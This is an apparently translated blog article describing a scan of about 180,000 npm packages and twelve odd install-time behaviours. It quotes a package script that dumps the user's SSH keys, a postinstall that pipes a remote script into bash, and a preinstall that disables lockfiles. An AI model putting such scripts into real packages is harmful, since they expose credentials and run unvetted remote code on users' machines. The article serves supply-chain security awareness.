📜 ⬆️ ⬇️

12 weird things that can happen after installing the npm package

A couple of months ago, I started a project called malicious packages (aka “malicious packages”). It monitors for updates in the npm repository, downloads all new modules, and then checks them for lice - searches for network activity, suspicious operations with the file system, etc. Even small projects on node.js often have a large dependency tree, and developers are physically unable to check them all. This gives attackers a huge room for maneuver, and the question arises - how much nastiness hiding in the dark corners of the npm registry? 180,000 checked packages later I received a rough answer.


image


And this answer is probably not so much.
[note: on medium there is an English version of this article, also under my authorship]


What can npm package do with your system?


The package has two main ways to harm you - when installing / uninstalling and when launching your application. Let's look at both options with examples.


NPM scripts allow packages to execute arbitrary commands at the time of installation and removal. These include preinstall , install , postinstall , preuninstall and postuninstall , which are automatically executed by npm at the appropriate time in the package's life cycle. What can they do? All the same that your current user can do - for example, delete all your photos from the last vacation, or merge the history of your browser into the FBI (although, most likely, they already have it). This behavior can be disabled by passing the --ignore-scripts flag, but, firstly, no one does this, and secondly, this way you can break down a bunch of quite reliable packages. It was through the scripts that the sensational attack on ESLint was carried out, which affected the users of eslint-scope (6 million installations per week) and eslint-config-eslint (2,000 installations per week).


The package gets a second chance to make life difficult for you at initialization (usually occurs when you first require ). Now he has the opportunity to modify global variables and other packages, for example, to steal a private key from your Bitcoin wallet, or to make the crypto.randomBytes method not so random .


image


How many malicious packages were detected?


Well, the list is not impressive, just 3 packages were found that have been removed from the npm repository by the efforts of the npm security team . Let's go over it:



Despite the very modest results, in the process of analyzing all the suspicious packages (and I looked at more than 3000 reports to find these three pearls), many amusing and not-so-many things were found that you usually don’t think (or try not to think about) typing npm install . So let's imagine that you randomly selected one of the many packages from the repository and install it. What can go wrong?


1. A package can override methods in other packages (including those from the standard Node.js delivery)


However, if you have read a couple of previous paragraphs or have been working with the javascript ecosystem for more than a week, then this is unlikely to be news to you. But the scale of this disaster could easily slip away from you. So, if your project has at least a few dependencies, then most likely the fs.closeSync method is already redefined (and, maybe, more than once). A huge number of packages modifies someone else's API, but only a few of them have any valid reason for this. Among the "champions" - graceful-fs with 12 million installations per week, which overrides a dozen methods from fs . It is also worth noting the async listener , which redefines 46 different methods , including the ill-fated crypto.randomBytes , which strained me a little when I first discovered it.


Imagine what it would look for a bug caused by such a redefinition from any dependency in the depths of the hierarchy. However, there are no reasons for experiences, because ...


2. A package may define a modified API to make additional corrections to it.


image


Yes, some packages do this (most often with respect to the same graceful-fs ) using acrobatics like /graceful-fs/.test(fs.closeSync.toString()) . So, if you suddenly encounter incomprehensible problems in the standard library, try simply installing a couple of random npm packages. Or just turn off the computer and walk through the nearest park, life is too short to understand all this.


3. He can send analytics


Adblock will not protect you if it happens in the console, and the authors of some packages successfully use this. Some send the most basic information, such as ecdsa-csr :


 // POST https://api.therootcompany.com/api/therootcompany.com/public/ping { "package":"ecdsa-csr", "version":"1.1.1", "node":"v10.14.2", "arch":"x64", "platform":"linux", "release":"4.9.125-linuxkit", "action":"install", "ppid":"eDSeYr9XUNRi9WhWli5smBNAvdw=" } 

Some are not so shy. Here, for example, part of the serverless report (the original is 2 times more):


 // POST https://tracking.serverlessteam.com/v1/track { "userId":"0e32cba0-14ef-11e9-9f89-b7ed4ca5dbba", "event":"framework_stat", "properties":{ "version":2, "general":{ "userId":"0e32cba0-14ef-11e9-9f89-b7ed4ca5dbba", "context":"install", "timestamp":1547135257977, "timezone":"GMT+0000", "operatingSystem":"linux", "userAgent":"cli", "serverlessVersion":"1.35.1", "nodeJsVersion":"v10.14.2", "isDockerContainer":true, "isCISystem":false, "ciSystem":null } } } 

Fortunately, jquery does not send any statistics, so it can still be installed in secret from everyone. For the time being.


4. Your computer can be used instead of the CI / CD server.


Why do you need to compile your package if your users can do it during installation ? You can get additional progress if you specify only the major version of the required compiler, for example, typescript@3 . One hope for literate guys from Microsoft who can do the right semver.


Can I go even further? Of course !


 "postinstall": "eslint --ext .js,.vue --fix src" 

Now you can sleep peacefully - all users will receive the perfectly formatted source code of your package.


5. He may try to scare you


image


If you watched all the series Mr. Robot, but still not motivated enough to read Computer Networks and do something really impressive, that is, a simple solution - demonstrate your skills to the world with a couple of lines in the postinstall script. This is exactly what the author of pizza-pasta did (and at the same time gave me a CDRV).


 { "name": "pizza-pasta", "author": "Zeavo", "scripts": { "install": "mkdir -p ~/Desktop/hacked && touch ~/Desktop/hacked/pwnddddd && wget https://imgur.com/download/KTDNt5I -P ~/Desktop/hacked/", "postinstall": "find ~/.ssh | xargs cat || true && printf '\n\n\n\n\n\nOH HEY LOOK SSH KEYS\n\n\n\nHappy Birthday! Youve been h4ck0red\n\n\n'" } } 

6. Package can load and execute bash scripts.


Have you heard that doing curl|bash not a good idea ? If not, then you may well be an ORESoftware employee who has a whole bunch of packages with similar lines in the postinstall script:


 curl --silent -o- https://raw.githubusercontent.com/oresoftware/realpath/master/assets/install.sh | bash 

So far there is nothing criminal in this script ... Bye. I hope that everyone who has access to the master in oresoftware/realpath is exceptionally honest and decent people.


7. You may be asked for a password


The author of magicleap came up with a rather unusual way to distribute a private package through a public repository. Its project consists of an encrypted archive and utilities for decrypting it - but only if you put the correct key in the MAGICLEAP environment MAGICLEAP :


 // Оригинал: https://github.com/modulesio/magicleap/blob/master/decrypt.js var key = process.env['MAGICLEAP']; console.warn('Decrypting magicleap module with MAGICLEAP environment variable'); const ws = fs.createReadStream(path.join(__dirname, 'lib.zip.enc')) .pipe(crypto.createDecipher('aes-256-cbc', Buffer.from(key, 'base64'))) .pipe(fs.createWriteStream(path.join(__dirname, 'lib.zip'))); 

8. Package can patch itself during installation.


The author of the fake-template does not have time to separate the tests from the direct code, especially since it is easy to do by adding a special comment to the end of the test lines:


 // Оригинал: https://github.com/framp/fake-template/blob/master/index.js const template = (string, tag=defaultTag) => { if (mode !== 'literal') throw new Error('Invalid template') return (context={}) => tag(literals, ...expressions.map(evalInContext(context))) } assert.equal(template('')(), ``) // TEST assert.equal(template('abc')(), `abc`) // TEST const dog = 'Orlando' // TEST assert.equal(template('abc ${dog} lol ${cat}')({dog}), `abc ${dog} lol ${cat}`) // TEST 

And then remove them through sed :


 "postinstall": "sed -i '/\\/\\/ TEST/d' index.js" 

Simple and elegant!


9. Package can change npm settings


In my humble opinion, package-json.lock is a great thing that can save you from a whole heap of problems caused by the negligence of other developers. However, some opponents of this idea have rather strong arguments against:


 "preinstall": "npm config set package-lock false" 

10. He can change the background of your desktop on the photo of Nicolas Cage


image


Here is the link, just in case - https://www.npmjs.com/package/cage-js . Perhaps it was worth reporting this package as malicious.


11. A package can hook you up.


This is what ember-data-react is doing , revealing the famous video during installation. Unfortunately, no data from Ember to React can be transferred with its help - there is not a single line of javascript code in it.


12. It may simply not be installed.


image
Non-existing dependencies, incorrectly specified versions, private repositories that have sunk into oblivion — you cannot install about 0.6% of all packages from the npm repository.


Instead of conclusion


NPM packages can do strange things with your system, and you don’t have many options to protect against this. Use package-lock.json to avoid sudden updates (and ensure that no one disconnects it without your knowledge), configure the CSP on the front end so that the backdoor in the third-party module at least cannot merge the data to its author. And make a backup of your photos, just in case.


If you feel strong enough to dive into the wonderful world of npm packages, you can find all the source code here: https://github.com/malicious-packages/core . The utility is full of hacks and suboptimal solutions, but it copes well with its task. Also in the repository there is a MongoDB dump with the results of the analysis of more than 180,000 packages, most importantly, do not forget to add the filter {'reports.status': 'unverified'} . I do not plan to further develop this project due to lack of time, but I will try to help with all the questions and problems, if any.


Take care of yourself and your applications!



Source: https://habr.com/ru/post/436132/